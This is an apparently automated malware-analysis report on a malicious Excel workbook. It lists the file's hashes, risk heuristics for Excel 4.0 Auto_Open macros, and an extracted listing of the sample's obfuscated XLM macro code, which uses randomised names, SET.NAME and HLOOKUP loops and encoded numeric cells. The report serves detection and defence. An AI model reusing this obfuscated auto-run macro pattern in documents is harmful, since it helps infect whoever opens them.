Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 078a4b1555460ef7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:31 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 7a7208e8fcc36f3d03c2a1c3250e79f2 SHA-1: 07ad8a07902d206eb8b2ffed7bb9336012ec1365 SHA-256: 078a4b1555460ef7b34bdfec5f0618079246464cc6914ef615ac9787de942225
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6740 bytes
SHA-256: 12a0af8e346acf29b7b8a5f99ec43422945450ea9a17cdcb057d22f575b30251
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nMVGrbnAB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H140 
' 0018     22 LABEL : Cell Value, String Constant - axUFPSX len=0 
' 0018     26 LABEL : Cell Value, String Constant - dyfQHrKLJnr len=0 
' 0018     20 LABEL : Cell Value, String Constant - EHtvf len=0 
' 0018     20 LABEL : Cell Value, String Constant - FSvrV len=0 
' 0018     21 LABEL : Cell Value, String Constant - gNZBFf len=0 
' 0018     24 LABEL : Cell Value, String Constant - JDmJRmiRi len=0 
' 0018     25 LABEL : Cell Value, String Constant - jKOqBxfAGD len=0 
' 0018     22 LABEL : Cell Value, String Constant - KRwztCr len=0 
' 0018     25 LABEL : Cell Value, String Constant - lhvbaOZALI len=0 
' 0018     21 LABEL : Cell Value, String Constant - LMgWvn len=0 
' 0018     23 LABEL : Cell Value, String Constant - MflxDpmF len=0 
' 0018     20 LABEL : Cell Value, String Constant - MSTqO len=0 
' 0018     24 LABEL : Cell Value, String Constant - NWukPeTAX len=0 
' 0018     20 LABEL : Cell Value, String Constant - ROFmJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - sYpGlKfkE len=0 
' 0018     20 LABEL : Cell Value, String Constant - wgfdr len=0 
' 0018     24 LABEL : Cell Value, String Constant - XIgFlQlrt len=0 
' 0018     24 LABEL : Cell Value, String Constant - xmLMdMTkG len=0 
' 0018     20 LABEL : Cell Value, String Constant - YDoeE len=0 
' 0018     27 LABEL : Cell Value, String Constant - zTGriVMbgEVa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nMVGrbnAB,H55,"SET.NAME("jKOqBxfAGD",0+VALUE("0"))",""
'  nMVGrbnAB,H58,"SET.NAME("JDmJRmiRi",jKOqBxfAGD)",""
'  nMVGrbnAB,H62,"SET.NAME("MflxDpmF",jKOqBxfAGD)",""
'  nMVGrbnAB,H66,"SET.NAME("zTGriVMbgEVa",COUNTA(NWukPeTAX))",""
'  nMVGrbnAB,H69,"SET.NAME("ROFmJ",COUNTA(xmLMdMTkG))",""
'  nMVGrbnAB,H74,[],""
'  nMVGrbnAB,H79,"SET.NAME("EHtvf","")",""
'  nMVGrbnAB,H81,"JDmJRmiRi",""
'  nMVGrbnAB,H83,"SET.NAME("FSvrV",HLOOKUP("*",NWukPeTAX,JDmJRmiRi,FALSE))",""
'  nMVGrbnAB,H85,"sYpGlKfkE",""
'  nMVGrbnAB,H87,"SET.NAME("axUFPSX",jKOqBxfAGD)",""
'  nMVGrbnAB,H89,[],""
'  nMVGrbnAB,H91,"axUFPSX",""
'  nMVGrbnAB,S91,"",844.00000000000000000000
'  nMVGrbnAB,S92,"",183.00000000000000000000
'  nMVGrbnAB,S93,"",79.00000000000000000000
'  nMVGrbnAB,S94,"",916.00000000000000000000
'  nMVGrbnAB,H95,"wgfdr",""
'  nMVGrbnAB,S95,"",-869.00000000000000000000
'  nMVGrbnAB,S96,"",-55.00000000000000000000
'  nMVGrbnAB,H98,"XIgFlQlrt",""
'  nMVGrbnAB,H100,"YDoeE",""
'  nMVGrbnAB,H105,"SET.NAME("dyfQHrKLJnr",VALUE(HLOOKUP("*",xmLMdMTkG,YDoeE,FALSE)))",""
'  nMVGrbnAB,H107,"MSTqO",""
'  nMVGrbnAB,H112,"EHtvf",""
'  nMVGrbnAB,H117,"MflxDpmF",""
'  nMVGrbnAB,H120,NEXT(),""
'  nMVGrbnAB,H122,"LMgWvn",""
'  nMVGrbnAB,H125,[],""
'  nMVGrbnAB,H130,"gNZBFf",""
'  nMVGrbnAB,H132,NEXT(),""
'  nMVGrbnAB,H136,RETURN(),""
'  nMVGrbnAB,H160,"SET.NAME("KRwztCr",H55)",""
'  nMVGrbnAB,H164,"NWukPeTAX",""
'  nMVGrbnAB,H166,"SET.NAME("xmLMdMTkG",R57C11)",""
'  nMVGrbnAB,H171,"SET.NAME("gNZBFf",178)",""
'  nMVGrbnAB,H175,"SET.NAME("lhvbaOZALI",8)",""
'  nMVGrbnAB,H177,KRwztCr(),""
'  nMVGrbnAB,H178,HALT(),""

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